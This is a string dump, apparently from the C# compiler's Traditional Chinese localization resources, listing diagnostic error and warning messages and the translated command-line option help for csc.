如果用以建立類別的方法,其簽章是公用虛擬 void Finalize,則會發生此警告。 + +如果這類類別用做基底類別,而且衍生類別定義解構函式,則解構函式會覆寫基底類別 Finalize 方法,而非 Finalize。 + "陣序規範無效: 必須是 ']' + stackalloc 初始設定式 + 請勿使用 'System.Runtime.CompilerServices.FixedBuffer' 屬性。請改用 'fixed' 欄位修飾元。 + 在此內容中使用 null 無效 + 這會透過 ref 參數藉傳址方式傳回參數的成員; 但是只能在 return 陳述式中安全地傳回 + 記錄成員 '{0}' 必須為私人。 + 全域 using 指示詞 + 命名空間別名限定詞 '::' 一定會解析為類型或命名空間,所以不能用在這裡。請考慮用 '.' 替代。 + 在介面中宣告的轉換、等式或不等式運算子必須為抽象或虛擬 + 類型參數 '{0}' 不可與 'as' 運算子一起使用,因為它沒有類別類型條件約束或 'class' 條件約束 + 檔案-本機類型 '{0}' 必須在具有唯一路徑的檔案中宣告。路徑 '{1}' 用於多個檔案。 + 關鍵字 'base' 在靜態方法中無效 + 未在此命名空間中啟用「攔截器」實驗功能。將 '{0}' 新增至您的專案。 + 成員 '{0}' 無法進行初始設定,它不是欄位或屬性。 + '{0}' 與 '{1}' 之間模稜兩可 + 區域函式已宣告但從未使用 + 命令列語法錯誤: 遺漏選項 '{1}' 的 Guid + 使用 'UnmanagedCallersOnly' 屬性化的方法上,不能使用 '{0}' 作為{1}型別。 + 參考組件 '{0}' 以不同的處理器為目標。 + 無法將 {0} 指派給隱含類型變數 + 寫入輸出檔案時發生錯誤: {0}。 + '{0}': 靜態建構函式不可有明確的 'this' 或 'base' 建構函式呼叫 + LIB 環境變數 + 模組初始設定式方法 '{0}' 必須可在模組層級中存取 + '{0}' 不可實作 '{1}',因為 '{2}' 是 Windows 執行階段事件,而 '{3}' 是一般 .NET 事件。 + '{0}' 已經過時 + '{0}' 為類型 '{1}'。常數宣告中指定的類型,必須為 sbyte、byte、short、ushort、int、uint、long、ulong、char、float、double、decimal、bool、string、列舉類型或參考類型。 + 指定的版本字串不符合建議的格式 - major.minor.build.revision + 介面中的使用者定義轉換必須轉換成類型參數,或從被限制為封閉類型的封閉類型上的型別參數轉換 + 參數 '{0}' 在 '{1}' 的 XML 註解中沒有相符的 param 標籤 (但其他參數有) + 索引屬性 '{0}' 有必須提供的非選擇性引數 + 若要讓 '{0}' 類型作為 '{1}' 類型的 AsyncMethodBuilder,其 Task 屬性應傳回 '{1}' 類型,而非 '{2}' 類型。 + '{0}': 欄位不可同時為 volatile 和 readonly + 只有記錄可以繼承自記錄。 + 未結束的原始字串常值。 + Lambda 運算式上的屬性需要小括號內的參數清單。 + 靜態類型不可用作參數 + 必須是 #endregion 指示詞 + <missing> + 差補原始字串常值開頭沒有足夠的 '$' 字元,因此無法允許這麼多連續的左大括弧做為內容。 + 型別中參考型別的可 Null 性與隱含實作的成員不符合。 + 參數名稱 '{0}' 與自動產生的參數名稱衝突 + 方法群組上不可使用類型參數做為 'nameof' 的引數。 + 不一致的存取範圍: 參數類型 '{1}' 比委派 '{0}' 的存取範圍小 + 使用別名不可以是 'ref' 類型。 + 上一個 catch 子句已經攔截所有的例外狀況。所有擲回的非例外狀況都將包裝在 System.Runtime.CompilerServices.RuntimeWrappedException 中。 + 無法插入某些或所有 include 的 XML + 無法等候 '{0}' + 'default' 條件約束只在覆寫和明確介面實作方法上有效。 + 參數 + 必須是常數值 + 產生器 '{0}' 無法產生來源。其不會提供給輸出,並可能導致編譯錯誤。例外狀況的類型為 '{1}',訊息為 '{2}'。 +{3} + 類型參數 '{0}' 與外部類型 '{1}' 的類型參數名稱相同 + 不可將類型 double 的常值,隱含轉換成類型 '{1}'; 請使用 '{0}' 後置詞來建立此類型的常值 + There is no target type for the collection expression. + 不得在 'not' 或 'or' 模式中宣告變數。 + + Visual C# 編譯器選項 + + - OUTPUT FILES - +-out:<file> 指定輸出檔案名稱 (預設: + 具有主要類別或第一個檔案的檔案基礎名稱) +-target:exe 建置主控台可執行檔 (預設) (簡短 + 形式: -t:exe) +-target:winexe 建置 Windows 可執行檔 (簡短形式: + -t:winexe) +-target:library 建置程式庫 (簡短形式: -t:library) +-target:module 建置可以新增至其他 + 組件的模組 (簡短形式: -t:module) +-target:appcontainerexe 建置 Appcontainer 可執行檔 (簡短形式: + -t:appcontainerexe) +-target:winmdobj 建置由 WinMDExp 取用 + 的 Windows 執行階段中繼檔案 (簡短形式: -t:winmdobj) +-doc:<file> 要產生的 XML 文件檔案 +-refout:<file> 要產生的參考組件輸出 +-platform:<string> 限制此程式碼可在哪些平台上執行: x86、 + Itanium、x64、arm、arm64、anycpu32bitpreferred 或 + anycpu。預設為 anycpu。 + + - INPUT FILES - +-recurse:<wildcard> 根據萬用字元 + 規格 + 包含目前目錄和子目錄中的所有檔案 +-reference:<alias>=<file> 從指定的組件 + 檔使用指定的別名來參考中繼資料 (簡短形式: -r) +-reference:<file list> 從指定的組件檔 + 來參考中繼資料 (簡短形式: -r) +-addmodule:<file list> 將指定的模組連結至此組件中 +-link:<file list> 從指定的 Interop + 組件檔來內嵌中繼資料 (簡短形式: -l) +-analyzer:<file list> 從此組件執行分析器 + (簡短形式: -a) +-additionalfile:<file list> 不會直接影響程式碼 + 產生但可由分析器用來產生錯誤或警告 + 的其他檔案。 +-embed 在 PDB 中内嵌所有來源檔案。 +-embed:<file list> 在 PDB 中内嵌特定檔案。 + + - RESOURCES - +-win32res:<file> 指定 Win32 資源檔 (.res) +-win32icon:<file> 使用此圖示來進行輸出 +-win32manifest:<file> 指定 Win32 資訊清單檔 (.xml) +-nowin32manifest 不要包含預設的 Win32 資訊清單 +-resource:<resinfo> 嵌入指定的資源 (簡短形式: -res) +-linkresource:<resinfo> 將指定的資源連結到此組件 + (簡短形式: -linkres) 其中 resinfo 格式 + 為 <file>[,<string name>[,public|private]] + + - CODE GENERATION - +-debug[+|-] 發出偵錯資訊 +-debug:{full|pdbonly|portable|embedded} + 指定偵錯類型 ('full' 為預設, + 'portable' 是跨平台格式, + 'embedded' 是內嵌至 + 目標 .dll 或 .exe 中的跨平台格式) +-optimize[+|-] 啟用最佳化 (簡短形式: -o) +-deterministic 產生具決定性組件 + (包括模組版本 GUID 和時間戳記) +-refonly 產生參考組件,以取代主要輸出 +strument:TestCoverage 產生檢測要收集 + 涵蓋範圍資訊的組件 +-sourcelink:<file> 要內嵌至 PDB 中的來源連結資訊。 + + - ERRORS AND WARNINGS - +-warnaserror[+|-] 將所有警告回報為錯誤 +-warnaserror[+|-]:<warn list> 將特定的警告回報為錯誤 + (針對所有可為 Null 的警告使用 "nullable") +-warn:<n> 設定警告層級 (0 或更高) (簡短形式: -w) +-nowarn:<warn list> 停用特定的警告訊息 + (針對所有可為 Null 的警告使用 "nullable") +-ruleset:<file> 指定會停用特定 + 診斷的規則集檔案。 +-errorlog:<file>[,version=<sarif_version>] + 指定用來記錄所有編譯器和分析器 + 診斷的檔案。 + sarif_version:{1|2|2.1} 預設為1. 2 和 2.1, + 都表示 SARIF 版本 2.1.0。 +-reportanalyzer 回報其他分析器資訊,例如 + 執行時間。 +-skipanalyzers[+|-] 略過診斷分析器的執行。 + + - LANGUAGE - +-checked[+|-] 產生溢位檢查 +-unsafe[+|-] 允許 'unsafe' 程式碼 +-define:<symbol list> 定義條件式編譯符號 (簡短 + 形式: -d) +-langversion:? 顯示語言版本的允許值 +-langversion:<string> 指定語言版本,例如 + `latest` (最新版本,包括次要版本), + 'default' (與 'latest' 相同), + `latestmajor` (最新版本,排除次要版本), + 'preview' (最新版本,包括不支援預覽中的功能), + 或特定版本,例如 `6` 或 `7.1` +-nullable[+|-] 指定可為 Null 內容選項啟用|停用。 +-nullable:{enable|disable|warnings|annotations} + 指定可為 Null 內容選項啟用|停用|警告|註釋。 + + - SECURITY - +-delaysign[+|-] 只使用強式名稱金鑰的公開 + 部分對組件進行延遲簽屬 +-publicsign[+|-] 只使用強式名稱金鑰的公開 + 部分對組件進行公開簽屬 +-keyfile:<file> 指定強式名稱金鑰檔案 +-keycontainer:<string> 指定強式名稱金鑰容器 +-highentropyva[+|-] 啟用高熵 ASLR + + - MISCELLANEOUS - +@<file> 讀取回應檔以取得更多選項 +-help 顯示此使用方式訊息 (簡短形式 form: -?) +-nologo 隱藏編譯器著作權訊息 +-noconfig 不要自動包括 CSC.RSP 檔案 +-parallel[+|-] 同時建置。 +-version 顯示編譯器版本號碼並結束。 + + - ADVANCED - +-baseaddress:<address> 要建置程式庫的基底位址 +-checksumalgorithm:<alg> 指定計算儲存在 PDB 中 + 來源檔案總和檢查碼的演算法。支援的值為: + SHA1 或 SHA256 (預設)。 +-codepage:<n> 指定開啟來源 + 檔案時所要使用的字碼頁 +-utf8output 輸出編譯器訊息 (以 UTF-8 編碼) +-main:<type> 指定包含進入點的類型 + (略過所有其他可能的進入點) (簡短 + 形式: -m) +-fullpaths 編譯器會產生完整路徑 +-filealign:<n> 指定用於輸出檔案 + 區段的對齊 +-pathmap:<K1>=<V1>,<K2>=<V2>,... + 指定編譯器的來源路徑名稱輸出的對應 + 。 +-pdb:<file> 指定偵錯資訊檔案名稱 (預設: + 具有 .pdb 副檔名的輸出檔案名稱) +-errorendlocation 輸出每個錯誤 + 行與資料行的結束位置 +-preferreduilang 指定喜好的輸出語言名稱。 +-nosdkpath 停用搜尋標準程式庫組件的預設 SDK 路徑。 +-nostdlib[+|-] 不參考標準程式庫 (mscorlib.dll) +-subsystemversion:<string> 指定此組件的子系統版本 +-lib:<file list> 指定要在其中搜尋的其他目錄以作為 + 參考 +-errorreport:<string> 指定如何處理內部編譯器錯誤: + 提示、傳送、佇列或無。預設為 + 佇列。 +-appconfig:<file> 指定包含組件繫結設定的 + 應用程式設定檔 +-moduleassemblyname:<string> 此模組將成為其一部分 + 的組件名稱 +-modulename:<string> 指定來源模組的名稱 +-generatedfilesout:<dir> 將編譯期間產生的檔案放在 + 指定的目錄。 +-reportivts[+|-] 輸出有關所有相依項授與至此 + 組件的所有 IVT 的資訊,並使用它們來自的組件 + 標註外部組件的可存取性錯誤。 + + 語法錯誤; 應為值 + '因為 '{0}' 不是 override,所以無法密封 + #error: '{0}' + 已宣告範圍變數 '{0}' + AssemblySignatureKeyAttribute 中指定的簽章公開金鑰無效。 + 因為目標類型 '{1}' 指定了不同的名稱或未指定名稱,所以會忽略元組項目名稱 '{0}'。 + 如果嘗試在類別衍生自 MarshalByRefObject 的成員上呼叫方法、屬性或索引子,而且成員是實值類型,則會發生此警告。繼承自 MarshalByRefObject 的物件通常是要透過參考跨應用程式定義域進行封送處理。如果任何程式碼曾經嘗試跨應用程式定義域直接存取這類物件的 value-type 成員,則會發生執行階段例外狀況。若要解決此警告,請先將成員複製至區域變數,並對該變數呼叫此方法。 + 無法攔截與 '{0}' 的呼叫,因為無法在 '{1}' 內存取。 + 兩個索引子具有不同的名稱; 類型中每個索引子上都必須使用同名的 IndexerName 屬性 + 參數的參考種類修飾詞不符合目標中的對應參數。 + 'await' 要求 '{1}.GetAwaiter()' 的傳回類型 '{0}' 必須是適合的 IsCompleted、OnCompleted 和 GetResult 成員,且實作 INotifyCompletion 或 ICriticalNotifyCompletion。 + '{0}' 是 '{1}' 與 '{2}' 之間模稜兩可的參考 + 在 'struct' 中宣告、具有參數清單的建構函式,必須有呼叫主要建構函式或已明確宣告建構函式的 'this' 初始設定式。 + 選項會覆寫原始程式檔或加入的模組中所指定的屬性 + 類型和別名不能命名為 'required'。 + '{0}': 只有在屬性或索引子同時具有 get 和 set 存取子時,才能在存取子上使用 'readonly' + 循環基底類型相依性包括 '{0}' 和 '{1}' + 必須是識別項或數值常值 + 無法將類型 '{0}' 隱含轉換成 '{1}' + 可能 null 參考的取值 (dereference)。 + 無法包含 XML 片段 + 這會藉傳址方式傳回本機,但其非參考本機 + '{0}': 介面中的執行個體事件不可有初始設定式 + '{0}' 對 'UnmanagedCallersOnly' 而言,不是有效的呼叫慣例類型。 + 建構函式 '{0}' 不可呼叫其本身 + 差補字串中不能使用單行註解。 + 藉傳址方式傳回本機,但已將其初始化為無法藉傳址方式傳回的值 + 已經在此範圍內定義名為 '{0}' 的區域變數或函式 + 無法攔截: 編譯未包含路徑為 '{0}' 的檔案。是否要使用 '{1}'? + 兩個組件的版次和 (或) 版本號碼不同。若要進行統一,您必須在應用程式的 .config 檔案中指定指示詞,而且您必須提供組件的正確強式名稱。 + 無法修改 '{0}' 的傳回值,因為其非變數 + '{0}': 基底類型 '{1}' 不符合 CLS 規範 + 必要的成員 '{0}' 必須指派值,它無法使用巢狀成員或集合初始設定式。 + 最上層陳述式必須在命名空間和型別宣告之前。 + 部分方法宣告 '{0}' 和 '{1}' 有簽章差異。 + 來源檔案不能同時包含以檔案為範圍和一般的命名空間宣告。 + 無法指派給 '{0}',因為其為唯讀 + 使用類型別名 + 參數 {0} 宣告為類型 '{1}{2}',但應該是 '{3}{4}' + 讀取為 PermissionSet 屬性的具名引數 '{1}' 所定之檔案 '{0}' 時,發生錯誤: '{2}' + 運算式樹狀結構不可包含 switch 運算式。 + 已為類型參數 '{0}' 指定了條件約束子句。類型參數的所有條件約束,都必須在單一 where 子句中指定。 + 'static' 修飾元必須在 'unsafe' 修飾元之前。 + 在匿名型別上 + 無法等候 'void' + 無法藉傳址方式傳回本機 '{0}',因為其非參考本機 + 建構函式呼叫必須以動態方式分派,但因為其為建構函式初始設定式的一部分,所以無法動態分派。請考慮將動態引數轉型。 + 無法推斷隱含型別 out 變數 '{0}' 的類型。 + 無法從組件 '{0}' 內嵌 Interop 類型,因為其遺漏了 '{1}' 屬性。 + #line span 指示詞的第一個括弧前、字元位移前及檔案名前需要空格 + 物件初始設定式 + 隱含類型變數不可有多重宣告子 + 無法以可寫入傳址方式傳回 {0} '{1}',因為它是唯讀變數 + 命名空間不能直接包含如欄位、方法或陳述式等成員 + 成員修飾元 '{0}' 必須在成員類型與名稱之前 + switch 運算式未處理其輸入類型可能的值 (並非全部)。 + 正在使用攔截器 '{1}' 攔截對 '{0}' 的呼叫,但簽章不相符。 + 必須是 } + 空的 switch 區塊 + 必須是具名屬性引數 + 輸入字串無法轉換成對等的 UTF-8 位元組表示法。{0} + 此參數有多個相異的預設值。 + 類型 '{0}' 的引數不適用於 DefaultParameterValue 屬性 + 使用者定義的轉換必須轉換為封入類型或從封入類型轉換 + 使用可能未指派的欄位 + 類型為 '{1}' 的結構成員 '{0}',在結構配置中造成循環 + 條件約束類型不符合 CLS 規範 + 括弧樣式 + 無法套用屬性類別 '{0}',因為其抽象 + 這會藉傳址方式傳回本機 '{0}' 的成員,但其非參考本機 + 指定的運算式永遠符合提供的常數。 + '{0}' 並未標記成 abstract、extern 或 partial,所以必須宣告主體 + 偵測到執行不到的程式碼 + 因為功能 '{3}' 不適用於 C# {4},所以 '{0}' 無法在類型 '{2}' 中實作介面成員 '{1}'。請使用語言 '{5}' 版或更新版本。 + ref 欄位 '{0}' 應在使用前以 ref 指派。 + 可能有 Null 參考指派。 + 記錄結構 + 這個非同步方法缺少 'await' 運算子,因此將以同步方式執行。請考慮使用 'await' 運算子等候未封鎖的應用程式開發介面呼叫,或使用 'await Task.Run(...)' 在背景執行緒上執行 CPU-bound 工作。 + 內容關鍵字 'var' 不得做為明確的 Lambda 傳回型別 + 僅供初始化 Setter + 範圍變數 '{0}' 不可與方法類型參數同名 + 類型 '{0}' 未定義任何建構函式 + 匿名方法 + 必須是指令碼 (.csx 檔),但未指定 + 只有單一部分類型宣告可以有參數清單 + 類型 '{0}' 的值不可使用切片模式。 + 這會藉傳址方式傳回參數,但其非 ref 參數 + 可為 Null 的類型 + '{0}' 需要編譯器功能 '{1}',此版本的 C# 編譯器不支援此功能。 + 主要建構函式與合成的複製建構函式相衝突。 + 因為在回應檔中已指定 /noconfig 選項,所以將會忽略該選項 + 可為 Null 的參考型別 + 解構 `var (...)` 表單不允許 'var' 的特定類型。 + 為 #line 指示詞指定的行號遺漏或無效 + 無法納入格式錯誤的 XML 檔 "{0}" + 無法載入分析器組件 {0} : {1} + 使用者定義的運算子 '{0}' 必須宣告為 static 和 public + 宣告無效; 請改用 '{0} operator <dest-type> (...'。 + '{0}': 靜態類型不可用做為傳回類型 + '{0}' 不應有 params 參數,因為 '{1}' 沒有此參數 + 藉傳址方式傳回本機 '{0}',但已將其初始化為無法藉傳址方式傳回的值 + 在明確指派欄位之前會先將控制項傳回呼叫者,導致先前隱含的指派為 'default'。 + 無法建立暫存檔 -- {0} + 最符合 '{0}' 的多載,沒有名稱為 '{1}' 的參數 + 類型參數 '{0}' 與包含類型或方法的名稱相同 + 成員隱藏所繼承的成員; 遺漏 new 關鍵字 + 在部分型別中必須宣告部分方法 + '{0}' 中的類型 '{1}' 與 '{2}' 中匯入的命名空間 '{3}' 相衝突。請使用 '{0}' 中定義的類型。 + '{0}' 中的命名空間 '{1}' 與 '{2}' 中匯入的類型 '{3}' 相衝突。請使用 '{0}' 中定義的命名空間。 + 集合初始設定式最符合的多載 Add 方法 '{0}',有一些無效的引數 + 類型為 '{0}' 的運算式永遠無法符合提供的模式。 + 清單模式不能用於型別 '{0}' 的值。找不到適當的 'Length' 或 'Count' 屬性。 + 建立陣列必須有陣列大小或陣列初始設定式 + 元組相等 + 類型參數 '{0}' 在 '{1}' 的 XML 註解中沒有相符的 typeparam 標籤 (但是其他類型參數有) + 無法攔截:路徑 '{0}' 未對應。預期的對應路徑 '{1}'。 + in 參數不能有 Out 屬性 + 條件運算式中的指派一直是常數; 這表示您要使用 == 代替 = ? + 讀取 Win32 資訊清單檔 '{0}' 時發生錯誤 -- '{1}' + 運算式樹狀架構不可包含差補字串處理常式轉換。 + Ref 條件運算子的分支參考具有不相容宣告範圍的變數 + 將會忽略模組 '{1}' 中的屬性 '{0}',改用出現在來源中的執行個體 + 無法指派 {0} 至範圍變數 + params 參數必須是參數清單中的最後一個參數 + 需要 '{1}' 子模式才能比對元組類型 '{0}',但此處為 '{2}' 子模式。 + 最內層 catch 子句中巢狀 finally 子句不允許沒有引數的 throw 陳述式 + 無法將自動實作 'set' 存取子 '{0}' 標記為 'readonly'。 + 元組必須包含至少兩個項目。 + 類型 '{0}' 不可用做類型引數 + 因為 '{0}' 不包含 '{1}' 的公用執行個體或延伸模組定義,所以 foreach 陳述式無法在型別 '{0}' 的變數上運作。您指的是 'await foreach' 而不是 'foreach' 嗎? + 檔案名稱 '{0}' 是空的、包含了無效字元、指定了磁碟機但不是絕對路徑,或太長了 + 此參考指派 '{1}' 給 '{0}' 但 '{1}' 具有比 '{0}' 更寬的值逸出範圍,允許透過 '{0}' 的值指派,其逸出範圍比 '{1}' 更窄。 + 參數型別中參考型別的可 Null 性與覆寫的成員不符合。 + 目標執行階段不支援介面成員的 'protected'、'protected internal' 或 'private protected' 存取權。 + 無法內嵌 Interop 類型 '{0}',因為其遺漏必要的 '{1}' 屬性。 + 轉換成 '{0}' 傳回委派的非同步 Lambda 運算式,不可傳回值 + Unmanaged 泛型類型條件約束 + 因為可為 null 之參考型別的註釋應只於 '#nullable' 註釋內容的程式碼中使用。自動產生的的程式碼需要來源中的明確 '#nullable' 指示詞。 + 語言名稱 '{0}' 無效。 + 無法在 for、using、fixed 或宣告陳述式中使用一個以上的類型 + 無法指派為範圍變數 '{0}' -- 其為唯讀 + '{0}' 未包含使用 {1} 個引數的建構函式 + 組件文化特性字串可能不包含內嵌的 NUL 字元。 + 未預期的參數清單。 + 模組初始設定式必須是一般成員方法 + 修正的欄位不能是 ref 欄位。 + 常數差補字串 + '{0}': 不可在指定條件約束類型的同時,又指定 'unmanaged' 條件約束 + 無法在此內容中使用變數 '{0}',因為它會將參考的變數公開在其宣告範圍外 + 在樣式中使用可為 Null 的類型 '{0}' 不合法。請改用基礎類型 '{0}'。 + 只能在型別參數上存取靜態虛擬或抽象介面成員。 + 兩個部分方法宣告都必須使用 params 參數,或兩者都不使用 params 參數 + 在明確介面宣告中,無法在可實作的介面成員間找到 '{0}' + '{0}' 中的類型 '{1}' 與 '{2}' 中匯入的類型 '{3}' 相衝突。請使用 '{0}' 中定義的類型。 + 不允許明確應用 'System.Runtime.CompilerServices.NullableAttribute'。 + 陣列元素不可為類型 '{0}' + 修飾元不能置於事件存取子宣告中 + '{0}' 未實作介面成員 '{1}'。'{2}' 無法隱含地實作無法存取的成員。 + 基底類別 '{0}' 必須在所有介面之前 + 因為在 '{1}' 和 '{2}' 之間找不到通用類型,所以在語言版本 {0} 中條件運算式無效。若要使用以目標為類型的轉換,請升級至語言版本 {3} 或更高版本。 + 指定的選項衝突: Win32 資源檔; Win32 資訊清單 + 迭代器不能具有指標型別參數 + 無法套用 CallerMemberNameAttribute,因為沒有從類型 '{0}' 標準轉換成類型 '{1}' + 無法藉傳址方式傳回參數 '{0}' 的成員,因為它不是 ref 或 out 參數 + (與之前錯誤相關符號的位置) + 已指定 stdin 引數 '-',但尚未從標準輸入資料流重新導向輸入。 + 無法在 catch 子句主體中使用 yield 產生值 + 傳回型別中參考型別是否可為 NULL 的情況,與隱含實作的成員不相符 (可能的原因是屬性可為 NULL )。 + 因為此為非同步方法,所以傳回運算式的類型必須是 '{0}' 而非 '{1}' + 必須是 { 或 ; + 關鍵字 'this' 在靜態屬性、靜態方法或靜態欄位初始設定式中無效 + 參數在 Lambda 中具有參數修飾元,但不在目標委派類型中。 + 介面成員 '{0}' 沒有最具體的實作。'{1}' 和 '{2}' 都不是最具體的。 + 選擇性參數 + 指定的搜尋路徑無效 + 無法藉傳址方式傳回「這個」。 + 找不到符合內嵌 Interop 類型 '{0}' 的 Interop 類型。是否遺漏了組件參考? + 如果來源中所找到的組件屬性 AssemblyKeyFileAttribute 或 AssemblyKeyNameAttribute,與 [專案屬性] 中所指定的 /keyfile 或 /keycontainer 命令列選項或金鑰檔案名稱或金鑰容器衝突,則會發生此警告。 + 此警告指出未正確地指定屬性 (例如 InternalsVisibleToAttribute)。 + 指標 + 傳址變數的宣告必須具有初始設定式 + 'MethodImplOptions.Synchronized' 無法套用至非同步方法 + 無法藉傳址 '{0}' 傳回參數,因為其非 ref 參數 + '{0}'不是有效的函式指標傳回型別修飾元。有效的修飾元為 'ref' 與 'ref readonly'。 + 無法使用語言版本 {1} 中的 'ref' 關鍵字傳遞引數 {0}。若要將 'ref' 引數傳遞至 'in' 參數,請升級為語言版本 {2} 或更新版本。 + 無效的物件建立 + 因為 NotNullIfNotNull 所參考的參數不是 null,所以參數在結束時必須有非 null 值。 + 在命名空間中定義的元素無法明確宣告為 private、protected、protected internal 或 private protected + 二元運算子的其中一個參數必須是包含類型,或其型別參數受其限制。 + 只有在建置 'module' 的目標類型時,才可指定 /moduleassemblyname 選項 + 傳回型別 '{0}' 中參考型別是否可為 Null 的情況,與目標委派 '{1}' 不相符 (可能的原因是屬性可為 Null)。 + 類型參數 '{0}' 繼承了衝突的條件約束 '{1}' 和 '{2}' + 在此組件中已使用了資源識別項 '{0}' + '{0}' 的預設參數值必須是編譯時期的常數 + 程式未包含適合進入點的靜態 'Main' 方法 + 無法依參考傳回主要建構函式參數 '{0}'。 + 記錄成員 '{0}' 不可以是靜態。 + 如果在兩個組件中找到預先定義的系統類型 (例如 System.Int32),則會發生此錯誤。可能發生此狀況的其中一種原因是參考兩個不同位置的 mscorlib 或 System.Runtime.dll,例如嘗試並排執行兩個版本的 .NET Framework。 + 無法藉傳址方式傳回 '{0}' 的成員,因為已將其初始化為無法藉傳址方式傳回的值 + '{1}' 無法隱藏必要成員 '{0}'。 + 具有變數引數的方法不符合 CLS 規範 + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal 來建立數值常值語彙基元。 + 兩個部分方法宣告必須都是靜態,或者都不是靜態 + '{0}' 不是 lock 陳述式所需的參考類型 + 因為 '{2}' 並非公用執行個體或延伸模組方法,所以 '{0}' 未實作 '{1}' 模式。 + 因為它實作 '{1}' 的多個具現化,所以非同步的 foreach 陳述式無法在型別 '{0}' 的變數上作業; 請嘗試轉換至特定的介面具現化 + Ref 欄位應在使用前重新指派。 + 無法以可寫入傳址方式傳回靜態的唯讀欄位 + 因為 '{0}' 不包含 '{1}' 的公用執行個體或延伸模組定義,所以非同步的 foreach 陳述式無法在型別 '{0}' 的變數上運作。您指的是 'foreach' 而不是 'await foreach' 嗎? + 無法將「隱式」使用者定義轉換運算子宣告為已檢查 + 符合 CLS 規範的介面內,所有成員都必須符合 CLS 規範 + 新增的模組必須以 CLSCompliant 屬性標記,才能與這個組件相符 + '{0}': 參數、區域變數或區域函式的名稱不得與方法類型參數相同 + 傳回類型不符合 CLS 規範 + 開啟圖示檔 {0} 時發生錯誤 -- {1} + 因為介面成員 '{1}' 包含 __arglist 參數,所以 '{0}' 無法在類型 '{2}' 中實作此介面成員 + 載入的組件參考了 .NET Framework,此情形不受支援。 + 對 '{0}' 使用此引數組合,會在其宣告範圍外公開參數 '{1}' 所參考的變數 + 無法推斷隱含型別解構變數 '{0}' 的類型。 + 成員不可用於此屬性中。 + 覆寫及明確介面實作方法的條件約束,繼承自基底方法,所以無法直接指定,但 'class' 或 'struct' 限制式除外。 + 針對前置處理器指示詞所指定的檔名無效 + 類型 '{1}' 的結構主要建構函式參數 '{0}' 在結構配置中導致循環 + '{0}' 於組件 '{1}' 中定義。 + 在差補字串中,必須將 '{0}' 字元逸出 (重複兩次)。 + 將方法群組 '{0}' 轉換成非委派類型 '{1}'。原本希望叫用該方法嗎? + 擴充方法 + 運算式沒有名稱。 + 攔截器在 '{1}' 上必須有 'this' 參數符合參數 '{0}'。 + 寫入偵錯資訊時發生未預期的錯誤 -- '{0}' + 編譯 (C#): + 類型不符合 CLS 規範 + 無法轉換成靜態類型 '{0}' + 類型沒有僅使用符合 CLS 規範之類型的可存取建構函式 + 藉傳址方式傳回成員,但已將其初始化為無法藉傳址方式傳回的值 + '因為 '{0}' 是不符合 CLS 規範之類型 '{1}' 的成員,所以不可標記為符合 CLS 規範 + 篩選條件運算式是常數 'false',請考慮移除 catch 子句 + 匿名類型 + 常數 '{0}' 不可標記為 static + 屬性或索引子 '{0}' 無法用在此內容中,因為它缺少 get 存取子 + 使用唯讀結構的自動實作執行個體屬性必須為唯讀。 + 應存在類似泛型工作的傳回型別,但在 'AsyncMethodBuilder' 屬性中找到的類型 '{0}' 不適用。它必須是 arity one 的未綁定泛型型別,並且其包含類型 (如果有) 必須是非泛型。 + 介面中的執行個體屬性不可有初始設定式。 + 指定的語言版本 '{0}' 不可以零作為開頭 + 無法使用 'UnmanagedCallersOnly' 將模組初始設定式屬性化。 + 開啟回應檔 '{0}' 時發生錯誤 + 集合初始設定式項目最符合的多載 Add 方法已經過時 + 參數類型中參考型別是否可為 Null 的情況,與目標委派不相符 (可能的原因是屬性可為 Null)。 + 記錄中有密封的 ToString + 不一致的存取範圍: 傳回類型 '{1}' 比運算子 '{0}' 的存取範圍小 + 未使用的外部別名。 + 不允許在相同引數清單中參考隱含型別 out 變數 '{0}'。 + 類型 '{0}' 的宣告中遺漏 partial 修飾元; 還存在此類型的其他部分宣告 + 無法將運算式轉換為 '{0}',因為它不是可指派的變數 + '{0}': 因為 '{1}' 沒有可覆寫的 set 存取子,所以無法覆寫 + 缺少模式 + /reference 選項中未指定外部別名 '{0}' + '{0}' 不是可辨認的屬性位置。此宣告的有效屬性位置為 '{1}'。將會忽略此區塊中的所有屬性。 + __arglist 不能有 void 類型的引數 + 參數 {0} 必須以 '{1}' 關鍵字宣告 + 介面 '{0}' 的來源介面無效,但內嵌事件 '{1}' 需要該介面。 + 無法使用集合初始設定式項目最符合的多載方法 '{0}'。集合初始設定式 'Add' 方法不能具有 ref 或 out 參數。 + 類型僅供評估之用。後續更新時可能會有所變更或移除。 + '&' 運算子不應該用於非同步方法中的參數或區域變數。 + '{0}': 未找到任何合適的方法可覆寫 + <路徑清單> + 無法修改 '{0}' 的成員,因為其為 '{1}' + '{0}': 只有符合 CLS 規範的成員,才可為抽象 + 不必要的 using 指示詞 + 建立模組時無法連結資源檔案 + <全域命名空間> + 循環條件約束相依性包括 '{0}' 和 '{1}' + '{0}' 定義了運算子 == 或運算子 !=,但不會覆寫 Object.GetHashCode()。 + 支援的語言版本: + 名稱 '_' 參考常數而非捨棄模式。請使用 'var _' 來捨棄值,或使用 '@_' 來依該名稱參考常數。 + 二元運算子的一個參數必須為包含類型 + '{0}' 未實作 '{1}' + 無法經由類型 '{1}' 的限定詞,來存取保護的成員 '{0}'; 限定詞必須是類型 '{2}' (或從其衍生的類型) + 前置處理器指示詞中不允許原始字串常值。 + 遺漏編譯器必要成員 '{0}.{1}' + 此內容中不可使用組件與模組屬性 + 必須是單行註解或行結尾 + 成員未隱藏所繼承的成員; 不需要 new 關鍵字 + CollectionBuilderAttribute 產生器類型必須是非泛型類別或結構。 + 沒有明確建構函式的結構,不可包含有初始設定式的成員。 + '{0}': 靜態類別不可用做為條件約束 + 非同步方法的傳回類型必須為 void、Task、Task<T>、task-like 類型、IAsyncEnumerable<T> 或 IAsyncEnumerator<T> + XML 註解有無法解析的 cref 屬性 '{0}' + 命名空間 '{1}' 中找不到類型名稱 '{0}'。此類型已轉送到組件 '{2}',請考慮加入該組件的參考。 + 方法 '{0}' 會為型別參數 '{1}' 指定 'class' 條件約束,但覆寫或明確實作的方法 '{3}' 對應型別參數 '{2}' 不屬於參考型別。 + Foreach 無法在 '{0}' 上運作。原本是要叫用 '{0}' 嗎? + volatile 欄位的參考不會視為 volatile + 存取傳址封送類別之欄位上的成員,可能會導致執行階段例外狀況 + 欄位不能有 void 類型 + 無法攔截可能的方法名稱 '{0}',因為未對其叫用。 + 基底類型不符合 CLS 規範 + 無法修改唯讀類型的主要建構函式參數 '{0}' 的成員 (類型的 init-only setter 或變數初始設定式中除外) + 擴充方法必須定義在最上層靜態類別中; {0} 